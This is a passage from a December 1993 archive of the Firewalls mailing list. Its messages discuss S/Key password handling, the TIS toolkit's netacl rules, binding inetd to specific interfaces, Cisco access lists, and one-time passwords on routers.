mjr@tis.com said, in effect, "we never thought of it, why don't you write it?". So I will, when I can make time. (The boss wants our firewall documented first "in case I get run over by a truck"). I am thinking of adding two options: SKEYBLIND = system generates new seed and sequence number, user enters new S/Key The problem with this is that we can do no password vetting. S/Key is subject to password guessing attacks and users cannot be trusted not to use their wife's name as a password. So: SKEYPARANOID = The admin sets the password and issues it to the user once over a "secure channel". It is held in cleartext (or encoded) form on the authentication server. We set a reset sequence number and a minimum sequence number. When we hit the minimum sequence number we reset it and increment the number on the end of the seed. We can issue the user with a warning 100 skeys in advance. This means that the authentication server must be airtight, but if you are also using SecurID or Kerberos then it should be airtight anyway. This is the "put all your eggs in one very strong basket" approach, and should make S/Key more closely approach the security of the smart-cards. Comments and suggestions invited. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner@GreatCircle.COM Wed Dec 8 19:17:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14140; Wed, 8 Dec 93 19:17:34 GMT Received: from vanbc.wimsey.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA14133; Wed, 8 Dec 93 11:17:19 PST Received: from bchspd by vanbc.wimsey.com with uucp (Smail3.1.28.1 #12) id m0p7UO3-00018pC; Wed, 8 Dec 93 11:17 PST Received: from spsrva.tolkien by bchspd.UUCP (4.0/SMI-4.0) id AA08349; Wed, 8 Dec 93 10:01:49 PST From: vanbc!bchspd!tma (Tom Ma) Message-Id: <9312081801.AA08349@bchspd.UUCP> Subject: how to get TIS toolkit To: firewalls@GreatCircle.COM Date: Wed, 8 Dec 93 10:03:31 PDT Cc: mjr@tis.com, pineau@wimsey.com, gmadsen@wimsey.com (Greg Madsen), bmills@wimsey.com (Brian Mills) X-Mailer: ELM [version 2.2 PL13] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi, I am in the process of putting together a plan to connect our WAN to the Internet. The plan is too use a dual homed firewall to protect our LAN and setup another host which all the users must log onto first to telnet out and ftp out. We will setup the Netblazer to filter all TCP traffic except mail, telnet out only, ftp out only. For added security we still want to setup a firewall so that we can have a log of traffic and activities going thru the firewall. Our WAN (no direct access to outside logon gateway first) | 56KB |-- Our WAN |------------|--------------------|---------------------|--- | |---- Internet Netblazer Firewall |------ with filtering (Sun, no user ID) |- Outside access gateway with user ID, also used as mail gateway (Sun) <-----this part already ----> in place but the Sun has no firewall software on it yet I welcome comments on the setup. I am hoping the TIS toolkit on a firewall will let us to do this. Where can I get information on TIS? And how do I get a copy? (I do have ftp access to the internet.) Thanks for any information that you may provided. -- Tom Ma BC Hydro Voice: 604-528-7953 6911 Southpoint Dr. (A01) FAX: 604-528-1828 Burnaby, BC, V3N 4X8 EMAIL: tma@bchspd.wimsey.bc.ca Canada From Firewalls-Owner@GreatCircle.COM Thu Dec 9 17:00:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA17976; Thu, 9 Dec 93 17:00:33 GMT Received: from ORVB.SAIC.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA17969; Thu, 9 Dec 93 09:00:24 PST Date: Thu, 9 Dec 1993 11:59:24 -0500 (EST) From: THOMPSOND@ORVB.SAIC.COM Message-Id: <931209115924.202013a8@ORVB.SAIC.COM> Subject: Different configs for dual-homed interfaces? To: firewalls@greatcircle.com X-Vmsmail-To: SMTP%"firewalls@greatcircle.com" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk As part of a firewall configuration, I want to configure a UNIX system with two ethernet ports: one to the wild and wooly outside and one to the trusted folks on the inside. I would like to offer no services on the outside port but be rather liberal in services offered to the insiders. (More generally, I would like to be able to offer different sets of services on each port.) However, I can find no way to configure inetd to do this. There is no interface argument on inetd, nor on any of the service deamons, nor on ifconfig. I realize that tcpwrapper might control this, but I would like to block access earlier than that, plus some of the inside services I want to offer cannot be controlled by tcpwrapper. I am planning to put a router outside of my firewall machine, but want an additional barrier against failure of the router. I am using a Sun SPARCstation and Sun OS 4.1.3 for my research, but the results will be applied to other systems; so a UNIX-wide solution is preferrable, but an OS-specific one will still be helpful, as we might be able to obtain a specific machine for this use. Thanks in advance. -Dave Thompson, SAIC From Firewalls-Owner@GreatCircle.COM Thu Dec 9 17:28:23 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18065; Thu, 9 Dec 93 17:28:23 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18053; Thu, 9 Dec 93 09:28:07 PST Message-Id: <9312091728.AA18053@mycroft.GreatCircle.COM> To: THOMPSOND@ORVB.SAIC.COM Cc: firewalls@greatcircle.com Subject: Re: Different configs for dual-homed interfaces? In-Reply-To: Your message of Thu, 9 Dec 1993 11:59:24 -0500 (EST) Date: Thu, 09 Dec 1993 09:28:06 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk THOMPSOND@ORVB.SAIC.COM writes: # As part of a firewall configuration, I want to configure a UNIX system # with two ethernet ports: one to the wild and wooly outside and one to the # trusted folks on the inside. I would like to offer no services on the # outside port but be rather liberal in services offered to the insiders. # (More generally, I would like to be able to offer different sets of # services on each port.) # # However, I can find no way to configure inetd to do this. There is no # interface argument on inetd, nor on any of the service deamons, nor on # ifconfig. I realize that tcpwrapper might control this, but I would like # to block access earlier than that, plus some of the inside services I # want to offer cannot be controlled by tcpwrapper. There is a simple equivalent to inetd written in Perl in the networking section of the Perl Reference Guide (the "Camel Book" from O'Reilly and Associates) that you might use as a starting point. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Thu Dec 9 19:26:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18610; Thu, 9 Dec 93 19:26:05 GMT Received: from mailgate.cadence.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18602; Thu, 9 Dec 93 11:25:54 PST Received: from localhost (smap@localhost) by mailgate.cadence.com (8.6.4/8.6.4) id LAA22106; Thu, 9 Dec 1993 11:19:06 -0800 Date: Thu, 9 Dec 1993 11:19:06 -0800 Message-Id: <199312091919.LAA22106@mailgate.cadence.com> Received: from unknown(158.140.32.223) by mailgate.cadence.com via smap (V1.0mjr) id smaa22081; Thu Dec 9 11:18:58 1993 To: THOMPSOND@ORVB.SAIC.COM From: alastair@cadence.com (Alastair Young) X-Sender: alastair@eudora1 Subject: Re: Different configs for dual-homed interfaces? Cc: firewalls@greatcircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > As part of a firewall configuration, I want to configure a UNIX system >with two ethernet ports: one to the wild and wooly outside and one to the >trusted folks on the inside. I would like to offer no services on the >outside port but be rather liberal in services offered to the insiders. >(More generally, I would like to be able to offer different sets of >services on each port.) > > However, I can find no way to configure inetd to do this. There is no >interface argument on inetd, nor on any of the service deamons, nor on >ifconfig. I realize that tcpwrapper might control this, but I would like >to block access earlier than that, plus some of the inside services I >want to offer cannot be controlled by tcpwrapper. > By the time it gets passed to inetd the system has lost track of which interface they came in on. You want to filter out the packets at the router. The only Unix solution I can think of is to use the Smallworks Netgate packet filter on the machine. It can't act on the interface information, but it can filter by IP address, port and protocol just like the router and it does this filtering before locally addressed packets are delivered to the local system. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner@GreatCircle.COM Thu Dec 9 19:29:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18648; Thu, 9 Dec 93 19:29:11 GMT Received: from tuna.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA18640; Thu, 9 Dec 93 11:28:46 PST Received: from elf.wang.com by tuna.wang.com with SMTP id AA08493 (5.67a/IDA-1.5 for ); Thu, 9 Dec 1993 14:29:13 -0500 Received: from fnord.wang.com by elf.wang.com with SMTP id AA06773 (5.67a/IDA-1.5); Thu, 9 Dec 1993 14:29:09 -0500 Received: by fnord.wang.com (5.67a/TF6) id AA17769; Thu, 9 Dec 1993 14:29:06 -0500 From: Tom Fitzgerald Message-Id: <199312091929.AA17769@fnord.wang.com> Subject: Re: Different configs for dual-homed interfaces? To: THOMPSOND@ORVB.SAIC.COM Date: Thu, 9 Dec 93 14:29:05 EST Cc: firewalls@greatcircle.com In-Reply-To: <931209115924.202013a8@ORVB.SAIC.COM>; from "THOMPSOND@ORVB.SAIC.COM" at Dec 9, 93 11:59 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > As part of a firewall configuration, I want to configure a UNIX system > with two ethernet ports: one to the wild and wooly outside and one to the > trusted folks on the inside. ... > (More generally, I would like to be able to offer different sets of > services on each port.) > ... I realize that tcpwrapper might control this, but I would like > to block access earlier than that, plus some of the inside services I > want to offer cannot be controlled by tcpwrapper. Anything you can do with inetd you can do with tcpwrapper - there's no law that tcpwrapper has to exec argv[1], it could invoke one of several daemons depending on the source of the incoming connection. This sounds ugly, though, and inetd is probably a better thing to hack. If you do create an inetd that can invoke different daemons on the same port depending on the peername, could you post it? This sounds *very* useful. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner@GreatCircle.COM Thu Dec 9 20:35:30 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA19140; Thu, 9 Dec 93 20:35:30 GMT Received: from toe.CS.Berkeley.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA19125; Thu, 9 Dec 93 12:35:19 PST Received: from localhost (hartzell@localhost) by toe.CS.Berkeley.EDU (8.6.4/8.1B) id MAA11145; Thu, 9 Dec 1993 12:34:17 -0800 Date: Thu, 9 Dec 1993 12:34:17 -0800 From: George Hartzell Message-Id: <199312092034.MAA11145@toe.CS.Berkeley.EDU> To: Tom Fitzgerald Cc: THOMPSOND@ORVB.SAIC.COM, firewalls@GreatCircle.COM Subject: Re: Different configs for dual-homed interfaces? In-Reply-To: <199312091929.AA17769@fnord.wang.com> References: <199312091929.AA17769@fnord.wang.com> <931209115924.202013a8@ORVB.SAIC.COM> Reply-To: hartzell@cs.berkeley.edu (George Hartzell) Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Tom Fitzgerald writes: > Anything you can do with inetd you can do with tcpwrapper - there's no law > that tcpwrapper has to exec argv[1], it could invoke one of several daemons > depending on the source of the incoming connection. This sounds ugly, though, > and inetd is probably a better thing to hack. > > If you do create an inetd that can invoke different daemons on the same > port depending on the peername, could you post it? This sounds *very* > useful. A good starting point for hacking on inetd might be the xinetd stuff that was posted from Boulder, Colorado (don't remember the author). In fact, it might even do what's needed, but I don't remember the details. g. From Firewalls-Owner@GreatCircle.COM Thu Dec 9 20:59:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA19260; Thu, 9 Dec 93 20:59:56 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA19253; Thu, 9 Dec 93 12:59:49 PST Message-Id: <9312092059.AA19253@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Thu Dec 9 15:58:55 EST 1993 To: hartzell@cs.berkeley.edu (George Hartzell) Cc: Tom Fitzgerald , THOMPSOND@ORVB.SAIC.COM, firewalls@GreatCircle.COM Subject: Re: Different configs for dual-homed interfaces? Date: Thu, 09 Dec 93 15:58:54 EST Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk A few years ago, during the Berferd incident, I modified inetd to take a -l option. That made it bind to a particular local host address as well as port number. To contact the server, you'd have to use the right address. I had to run several different inetd's, one for each address of my host: inetd -l 127.0.0.1 inetd -l 1.2.3.4 inetd -l 5.6.7.8 /etc/outside.inetd.conf But there's a catch: the kernel doesn't care which wire a packet uses when arriving. If the packet were addressed to 1.2.3.4, but arrived on the outside cable (5.6.7.8), the connection would be set up. You are safer, though, *if* you can prevent access to that address, probably by disabling source-routing at the router upstream, and by making sure that the address isn't advertised to the outside world. As a security strategy, though, you also have to worry about things like the portmapper (it could be modified the same way, though, if you have source), various standalone servers, etc. The code? Once you have inetd.c, it takes about 10 minutes, and most of that is looking up the calling sequence to inet_addr. (Btw, for both simplicity, security, and functionality, don't use hostnames there.) For our purposes -- the network monitoring machine described in the Berferd paper and the Dragons paper -- we eventually gave up on that approach, and cut the transmit leads on the drop cable instead. All we wanted to do was to run tcpdump on the Ethernet. --Steve Bellovin From Firewalls-Owner@GreatCircle.COM Thu Dec 9 23:20:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA20578; Thu, 9 Dec 93 23:20:59 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA20565; Thu, 9 Dec 93 15:20:50 PST Received: by relay.tis.com; id AA17945; Thu, 9 Dec 93 18:18:27 EST Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma017943; Thu Dec 9 18:17:41 1993 Received: from otter.tis.com by tis.com (4.1/SUN-5.64) id AA16105; Thu, 9 Dec 93 18:20:34 EST Received: by otter.tis.com (4.1/SMI-4.1) id AA19050; Thu, 9 Dec 93 18:20:32 EST Date: Thu, 9 Dec 93 18:20:32 EST From: mjr@tis.com Message-Id: <9312092320.AA19050@otter.tis.com> To: firewalls@greatcircle.com Subject: Re: Different configs for dual-homed interfaces? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > If you do create an inetd that can invoke different daemons on the same > > port depending on the peername, could you post it? This sounds *very* > > useful. > >A good starting point for hacking on inetd might be the xinetd stuff >that was posted from Boulder, Colorado (don't remember the author). >In fact, it might even do what's needed, but I don't remember the >details. Here, let me insert my standard rant about xinetd and similar tools. Xinetd is a *HUGE* piece of code to implement something as relatively minor as an inetd. This is a security issue, since inetds are inherently security critical applications, and it's increasingly difficult to verify the quality of your software as it grows past the point of "a couple of pages." Last time I checked xinetd was something like 8,000 lines of code. One would hope that programmers would have learned (thanks to sendmail and others) that large, complex programs with privileges that do security-related things are A Bad Idea. I have a 2 page-of-code version of inetd, if you want to get minimalist. The second page is untrusted code, being on the other side of a setruid(). You can verify its security in the amount of time it takes to drink a cup of coffee, and it's simple enough that there is not a single comment in the sources. When I once mailed it to a friend, he spotted a bug immediately, and I fixed it. Nobody will ever look past the first few pages of code of xinetd or sendmail (unless they are very, very, very bored or are looking for bugs for the wrong reason) because they are too massive and complex. Back to the topic: At TIS we present multiple services on the same port using the firewall toolkit component "netacl" which is much like tcp_wrapper only smaller and stupider (see the rant above). Based on the origin, it can exec different programs and even exec them under chroot. I.e.: netacl-in.fingerd: permit-hosts 192.33.112.* -exec /usr/etc/in.fingerd netacl-in.fingerd: permit-hosts * -exec /bin/cat /usr/local/etc/finger.msg Netacl matches its rules in sequence, so if a host in TIS' network range does a finger, it execs fingerd. If anyone else does a finger, it execs cat(1) with parameters as shown. Simplissimo. I am sure tcp_wrapper provides similar functionality. mjr. From Firewalls-Owner@GreatCircle.COM Fri Dec 10 04:34:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22508; Fri, 10 Dec 93 04:34:43 GMT Received: from wc11.wl.aecl.ca by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22501; Thu, 9 Dec 93 20:34:31 PST Received: from wu2.wl.aecl.ca by wl.aecl.ca (PMDF V4.2-14 #3601) id <01H6AIZP9R2890N5EG@wl.aecl.ca>; Thu, 9 Dec 1993 22:34:29 CST Received: by wu2.wl.aecl.ca (5.65/DEC-Ultrix/4.3) id AA09204; Thu, 9 Dec 1993 22:34:37 -0600 Date: Thu, 09 Dec 1993 22:34:36 -0600 (CST) From: gadallah@wu2.wl.aecl.ca (Larry Gadallah) Subject: Help! Encap IP through Cisco filters To: cisco@spot.colorado.edu Cc: firewalls@greatcircle.com Message-Id: <9312100434.AA09204@wu2.wl.aecl.ca> Mime-Version: 1.0 X-Mailer: ELM [version 2.4 PL22] Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2999 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello All: I am making supplications to the operators of our internet gateway/firewall to allow encapsulated IP traffic to get through our Cisco router. I do not have access to this router, it is 1000 miles away, and I know nothing about how it works. However, I did get a copy of the configuration and I have quoted a portion of it. Several interfaces are in use, one goes to the CA*net backbone, the rest feed various internal subnets. The router provides (at the moment) primary network security by means of packet filtering. Generally, only SMTP, telnet, and FTP are allowed from the internet to any given machine. My question is: If we have two hosts, on our subnet, to which we want to give unfettered IP access (i.e. encap, tcp, udp, the works) to the internet, what would we have to change in this configuration such that nothing else would be broken and security would not be outrageously compromised? I asked at the SAGE conference and I was told that the only way would be to disable all access control for the hosts in question. What would the syntax of this be? Can this be done on a host by host basis, or is it only possible on an interface by interface basis? Would it better to create an additional access-list for each host? Or perhaps one for each of the two excluded hosts? Thanks in advance, (Any resemblence here to real hosts or nets, living or dead, is purely coincidental...) [munch] > ip access-group 102 (this is the ruleset that applies to us) > ! [munch] > access-list 1 permit 0.0.0.0 > access-list 1 permit 132.225.0.0 0.0.255.255 > access-list 1 deny 0.0.0.0 255.255.255.255 > access-list 2 deny 132.225.33.250 > access-list 2 permit 132.225.0.0 0.0.255.255 > access-list 3 permit 0.0.0.0 > access-list 3 permit 132.225.33.0 > access-list 3 permit 132.225.35.0 > access-list 3 permit 132.225.1.0 > access-list 102 permit ip 132.225.0.0 0.0.255.255 132.225.0.0 0.0.255.255 > access-list 102 permit icmp 0.0.0.0 255.255.255.255 132.225.0.0 0.0.255.255 [munch] > access-list 102 permit tcp 0.0.0.0 255.255.255.255 132.225.64.0 0.0.0.255 eq 20 [munch] > access-list 102 permit tcp 0.0.0.0 255.255.255.255 132.225.64.0 0.0.0.255 eq 21 [munch] > access-list 102 permit tcp 0.0.0.0 255.255.255.255 132.225.64.0 0.0.0.255 eq 23 > access-list 102 permit tcp 0.0.0.0 255.255.255.255 132.225.0.0 0.0.255.255 eq 25 [munch] > access-list 102 permit tcp 0.0.0.0 255.255.255.255 132.225.64.0 0.0.0.255 eq 53 > access-list 102 permit tcp 0.0.0.0 255.255.255.255 132.225.0.0 0.0.255.255 gt 1023 > access-list 102 permit udp 0.0.0.0 255.255.255.255 132.225.0.0 0.0.255.255 gt 1023 [munch] > access-list 102 permit udp 0.0.0.0 255.255.255.255 132.225.64.0 0.0.0.255 eq 53 [munch] > end -- ------------------------------------------------------------------------- Larry Gadallah Internet: gadallah@wu1.wl.aecl.ca UNIX Support, AECL Research Whiteshell Voice: (204) 753-2311 x2603 ------------------------------------------------------------------------- From Firewalls-Owner@GreatCircle.COM Fri Dec 10 06:02:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22744; Fri, 10 Dec 93 06:02:39 GMT Received: from ariel.ucs.unimelb.EDU.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22737; Thu, 9 Dec 93 22:02:22 PST Received: by ariel.ucs.unimelb.EDU.AU id AA16722 (5.64+/IDA-1.4.3 for firewalls@greatcircle.com); Fri, 10 Dec 93 17:02:56 +1100 Date: Fri, 10 Dec 93 17:02:56 +1100 From: Douglas Ray Message-Id: <9312100602.AA16722@ariel.ucs.unimelb.EDU.AU> To: cisco@spot.colorado.edu, gadallah@wu2.wl.aecl.ca Subject: Re: Help! Encap IP through Cisco filters Cc: firewalls@greatcircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > From: gadallah@wu2.wl.aecl.ca (Larry Gadallah) > > My question is: If we have two hosts, on our subnet, > to which we want to give unfettered IP access (i.e. > encap, tcp, udp, the works) to the internet, what > would we have to change in this configuration such > that nothing else would be broken and security would > not be outrageously compromised? > > I asked at the SAGE conference and I was told that the > only way would be to disable all access control for the > hosts in question. What would the syntax of this be? Can > this be done on a host by host basis, or is it only possible > on an interface by interface basis? These hosts now become enty points through your firewall. Your net is only as secure as its weakest entry point. On ciscos you have one access list on an interface; with current software it filters traffic going out of the cisco interface. Thus you may need to change access lists on both the external interface, and on the interface which your machines are on. This is not a general solution; putting individual hosts in access lists must be kept to an absolute minimum; each entry in the access list adds a performance hit on all packets leaving the interface. That's why most of the entries in the list you quoted are subnet entries. (actually, on all packets not matching a previous line in the access list) To reduce overhead you'd add individual host entries as the last "permit" entries before any "deny" entries. The forms you're looking for are - on the interface supporting the host xxx.xxx.xxx.xxx: access-list 102 permit ip 0.0.0.0 255.255.255.255 xxx.xxx.xxx.xxx 0.0.0.0 and, if necessary, on the interface to the world: access-list 102 permit ip xxx.xxx.xxx.xxx 0.0.0.0 0.0.0.0 255.255.255.255 - douglas ray doug@unimelb.edu.au networks & comms From Firewalls-Owner@GreatCircle.COM Sat Dec 11 05:42:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26919; Sat, 11 Dec 93 05:42:52 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26912; Fri, 10 Dec 93 21:42:43 PST Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA11068; Sat, 11 Dec 93 00:43:02 -0500 Received: from rde.UUCP by uucp2.uu.net with UUCP/RMAIL (queueing-rmail) id 004146.24859; Sat, 11 Dec 1993 00:41:46 EST Received: from homebase.vistachrome.com by cyan.vistachrome.COM (4.1/SMI-4.1) id AA17970; Sat, 11 Dec 93 00:28:46 EST Received: by homebase.vistachrome.com (5.65/1.35) id AA24961; Sat, 11 Dec 93 00:28:41 -0500 From: andy@homebase.vistachrome.com (Andy Finkenstadt) Message-Id: <9312110528.AA24961@homebase.vistachrome.com> Subject: Firewall software for Suns [jmclip@world.std.com] To: firewalls@greatcircle.com Date: Sat, 11 Dec 1993 00:28:40 -0500 (EST) Cc: jmclip@world.std.com Reply-To: jmclip@world.std.com X-Mailer: ELM [version 2.4 PL20] Content-Type: text Content-Length: 2025 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jim R McLeanLipinski said in a letter: > I am planning to set up a Sparc Classic or IPX running Solaris 2.3 > as an internet firewall. > > Rest of the world > | > | ___________ > |___| Firewall | > ___| Machine | > | |___________| > | > _________________|________________ > Secure internal network > > To do this I will be installing a second ethernet SBus card in > the machine. It doesn't appear that the Solaris 2.3 OS provides > the needed functionality to route and filter packets between the > two ethernet ports. If it does, Please let me know where I can > find the information to do this, otherwise. . . > > Does anyone know of any routing software, commercial or public > domain, that would give the following functionality > > Requirements: > > - The ability to filter packets based on the source and destination > ip address and port > > - The ability to log packet traffic > > Desirables: > > - The ability to filter packets based on packet contents > > - The ability to filter packets based on source and time of day > > - The ability to dump rejected packets to a log file > > - The ability to trigger alarms based on packet source, destination > and/or contents > > - Any additional security enhancements > > If there is anything that I am overlooking that you feel should also > be included in this firewall machine, please let me know. > > I will summarize > > Thank You for you help with this > > Jim McLean-Lipinski > jmclip@world.std.com > -- Andrew Finkenstadt | Systems Analyst, Homes & Land Publishing Corporation +1 904-575-0189 | GEnie Sysop ,,, andy@genie.geis.com | (. .) Peek-a-boo! andy@homes.com +----------------------o00-(_)-00o--------------------- From Firewalls-Owner@GreatCircle.COM Sat Dec 11 15:10:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA28222; Sat, 11 Dec 93 15:10:08 GMT Received: from bull-run.ims.disa.mil by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA28213; Sat, 11 Dec 93 07:10:00 PST Received: by bull-run.ims.disa.mil (4.1/2.4) id AA01110; Sat, 11 Dec 93 10:12:20 EST Message-Id: <9312111512.AA01110@bull-run.ims.disa.mil> To: firewalls@greatcircle.com Subject: One-time passwords on Ciscos? Date: Sat, 11 Dec 93 10:12:15 -0500 From: "Kenneth R. van Wyk" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Pardon me if this question has already been asked here (if it has, I certainly don't remember seeing it). But, has anyone investigated using one-time passwords on Ciscos (or other routers, for that matter)? It would sure make me rest easier to see sites configuring their routers remotely if they were using SecureID or some other one-time mechanism. Please send any replies to the list or e-mail to me at krvw@assist.ims.disa.mil. Thanks, Ken Kenneth R. van Wyk Chief, Operations Automated System Security Incident Support Team (ASSIST) Center for Information Systems Security (CISS) Defense Information Systems Agency (DISA) Moderator, VIRUS-L/comp.virus krvw@ASSIST.IMS.DISA.MIL ASSIST Hotline: +1 703 756 7974 ASSIST e-mail: assist@assist.ims.disa.mil From Firewalls-Owner@GreatCircle.COM Sat Dec 11 18:40:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA28552; Sat, 11 Dec 93 18:40:59 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA28545; Sat, 11 Dec 93 10:40:50 PST Received: by relay.tis.com; id AA04284; Sat, 11 Dec 93 13:38:04 EST Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma004281; Sat Dec 11 13:37:55 1993 Received: from otter.tis.com by tis.com (4.1/SUN-5.64) id AA20521; Sat, 11 Dec 93 13:40:44 EST Received: by otter.tis.com (4.1/SMI-4.1) id AA22411; Sat, 11 Dec 93 13:40:43 EST Date: Sat, 11 Dec 93 13:40:43 EST From: mjr@tis.com Message-Id: <9312111840.AA22411@otter.tis.com> To: firewalls@GreatCircle.COM, krvw@assist.ims.disa.mil Subject: Re: One-time passwords on Ciscos? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Pardon me if this question has already been asked here (if it has, I >certainly don't remember seeing it). But, has anyone investigated >using one-time passwords on Ciscos (or other routers, for that >matter)? It would sure make me rest easier to see sites configuring >their routers remotely if they were using SecureID or some other >one-time mechanism. Various router and terminal server vendors have struck various agreements with various one-time-password device suppliers at various times. The problem is that if you buy a fonebone-2000 router with support for the squeeze-2000 encrypting calculator but you use the moby-matic-authenticatron for your terminal servers already, because the terminal server manufacturer has a support agreement with them... It's a real mess. Every vendor who does this stuff has their own API and different internals and key storage and algorithms. So there is just about zero interoperability. If you make a device like a terminal server, you could easily waste a huge amount of time supporting 12 different authentication device APIs (and presumably paying big bux to license technology) The situation is terrible and we the end users aren't going to see it get any better until we start putting pressure on these clowns to standardize their products. This problem was what motivated me to write the authentication server that the TIS firewall toolkit uses. It uses a dirt simple protocol of newline-terminated requests in ASCII. So communicating with an authentication service is authentication device independent and you can plug in whatever authentication system you like in the back end. Such a simple concept conflicts with the "buyer lock-in" objective of the security device manufacturer. It's not to their advantage to interoperate with their competitors -- if they can lock you in, then they can gouge you blind with huge licenses for their cruddy nonportable software. mjr. From Firewalls-Owner@GreatCircle.COM Sun Dec 12 03:45:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA29274; Sun, 12 Dec 93 03:45:01 GMT Received: from cray.com (timbuk.cray.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA29267; Sat, 11 Dec 93 19:44:53 PST Received: from matrix.cray.com by cray.com (Bob mailer 1.2) id AA16595; Sat, 11 Dec 93 21:45:45 CST Received: by matrix.cray.com id AA08821; 4.1/CRI-5.6a; Sat, 11 Dec 93 21:45:42 CST From: btk@matrix.cray.com (Bryan Koch) Message-Id: <9312120345.AA08821@matrix.cray.com> Subject: Re: One-time passwords on Ciscos? To: krvw@assist.ims.disa.mil (Kenneth R. van Wyk) Date: Sat, 11 Dec 93 21:45:37 CST Cc: firewalls@greatcircle.com In-Reply-To: <9312111512.AA01110@bull-run.ims.disa.mil>; from "Kenneth R. van Wyk" at Dec 11, 93 10:12 am X-Mailer: ELM [version 2.3 PL0] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Pardon me if this question has already been asked here (if it has, I > certainly don't remember seeing it). But, has anyone investigated > using one-time passwords on Ciscos (or other routers, for that > matter)? It would sure make me rest easier to see sites configuring > their routers remotely if they were using SecureID or some other > one-time mechanism. Ciscos and some other routers and terminal servers support off-box authentication. In Cisco's case, this is via the TACACS protocol. The tacacs daemon provided by Cisco is prety simple, and is easily adapted (given source code) to work with a variety of one-time password tokens. My organization has been running with SecurID authentication via modified versions of Security Dynamics source code and Cisco's tacacsd for about four and a half years. We don't use it on the routers today, but the same protocol is used on both the routers and terminal servers, and it would be usable from the routers if we were interested. Bryan Koch Data Security Leader VOICE: +1-612-683-3129 (1-800-284-2729 x33129) Cray Research, Inc. FAX: +1-612-683-3099 Eagan, Minnesota, USA EMAIL: btk@cray.com From Firewalls-Owner@GreatCircle.COM Mon Dec 13 09:18:15 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id 